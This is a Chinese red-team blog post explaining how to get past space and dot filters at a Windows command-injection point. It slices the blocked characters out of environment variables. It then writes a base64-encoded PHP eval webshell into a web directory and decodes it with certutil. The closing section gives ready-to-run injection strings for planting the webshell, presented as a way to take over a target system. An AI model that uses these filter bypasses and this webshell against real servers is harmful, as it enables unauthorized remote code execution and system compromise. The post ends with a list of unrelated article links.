来自红队大佬的经验之谈---命令执行过滤绕过-Windows篇

简介: 感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,如何利用windowsit特性进行绕过

感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,导致在写入webshell时会受限。以下是针对该目标的绕过记录。

首先是命令执行和过滤验证,如下:

图片.png

执行dir命令,我们可以看到当前系统存在script目录

图片.png

但是当我们想要看一下script目录下的内容的时候,我们发现空格被过滤导致命令执行失败了

图片.png

尝试使用url编码对空格进行转换,依旧是执行失败

图片.png

要正常执行命令和后续Getshell,则需要“.”和“ ”,那被过滤的符号从哪里来。救赎之道,就在其中 The way to salvation lies in it。

方法就是,切割字符串。利用Windows系统特性和变量来获取被过滤的符号,如下图所示,执行set命令可以将我们想要的内容写入到环境变量中,例如本次写入“set test= hello world.12345”

图片.png

再次执行set命令,发现写入成功

图片.png

然后利用字符串截取,截取到我们需要的空格和点

图片.png

当然了,这里为了演示,所以自己写了一个test,实际上在目标系统里都有现成的,我们直接利用就行,直接执行set命令,查看目标系统存在的环境变量,然后找到环境变量里的空格和点

图片.png

目标环境的系统变量是符合我们预期的

图片.png

将截取出的空格和点放到之前的命令执行中即可,空格“ ”过滤被绕过,如图:

图片.png

点“.”过滤被绕过,如下:

查看文件执行失败

图片.png

查看文件执行成功

图片.png

最终Getshell方法

那我们将免杀的webshell进行base64编码,防止受到其它被过滤符影响,然后echo到web目录,在使用certutil将文件decode解码,即可拿下目标系统。

PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g是base64后的webshell,然后对被过滤字符进行编码,即如下。

写入:

echo%ProgramW6432:~10,1%PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g%ProgramW6432:~10,1%>>%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt

解码:

Certutil -decode script\shell.txt script\shell.php

Certutil%ProgramW6432:~10,1%-decode%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%php

相关文章
|
2月前
|
Java Linux Windows
java在Linux执行命令Java在Windows执行命令
java在Linux执行命令Java在Windows执行命令
27 0
|
1月前
|
监控 Unix Linux
windows和linux实时监控文本内容的命令
windows和linux实时监控文本内容的命令
38 1
|
23天前
|
运维 网络协议 Linux
Linux与Windows下追踪网络路由:traceroute、tracepath与tracert命令详解
Linux与Windows下追踪网络路由:traceroute、tracepath与tracert命令详解
33 0
|
2月前
|
Oracle Java 关系型数据库
windows 下 win11 JDK17安装与环境变量的配置(配置简单详细,包含IJ中java文件如何使用命令运行)
本文介绍了Windows 11中安装JDK 17的步骤,包括从官方网站下载JDK、配置环境变量以及验证安装是否成功。首先,下载JDK 17的安装文件,如果没有Oracle账户,可以直接解压缩文件到指定目录。接着,配置系统环境变量,新建`JAVA_HOME`变量指向JDK安装路径,并在`Path`变量中添加。然后,通过命令行(cmd)验证安装,分别输入`java -version`和`javac -version`检查版本信息。最后,作者分享了如何在任意位置运行Java代码,包括在IntelliJ IDEA(IJ)中创建的Java文件,只需去掉包声明,就可以通过命令行直接运行。
894 1
|
2月前
|
缓存 监控 网络协议
Windows网络管理及诊断命令整理
Windows网络管理及诊断命令整理
52 0
|
2月前
|
域名解析 缓存 网络协议
16.系统知识-Windows的常用命令
16.系统知识-Windows的常用命令
|
2月前
|
NoSQL Linux Redis
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
66 0
|
2月前
|
机器学习/深度学习 人工智能 Windows
一些常见的Windows命令
一些常见的Windows命令
28 0
|
9天前
|
网络协议 Unix 网络安全
FTP服务器怎么搭建?Windows server搭建FPT服务器
FTP服务器是按照FTP协议提供文件传输服务的计算机。它用于在两台计算机间安全地传输文件,支持用户权限管理和跨平台操作。FTP使用控制连接处理命令,数据连接传输文件,有PORT和PASV模式。要搭建FTP服务器,首先在Windows Server 2008 R2上安装IIS,确保选中FTP服务。接着,创建FTP文件夹作为站点根目录,通过IIS管理器添加FTP站点,配置站点信息、身份验证和权限。测试客户端通过telnet和浏览器访问FTP服务器,确认能成功登录及浏览文件。FTP常用于文件共享和管理,可通过专用工具如FlashFXP上传下载文件。
28 0
FTP服务器怎么搭建?Windows server搭建FPT服务器
|
14天前
|
前端开发 JavaScript 应用服务中间件
windows server + iis 部署若伊前端vue项目
5,配置url重写规则(重写后端请求) 注:如果没有Application Request Routing Cachefourcloudbdueclaim和URL重写,则是第二部的那两个插件没装上 打开iis,点击计算机->点击Application Request Routing Cache -> 打开功能
43 0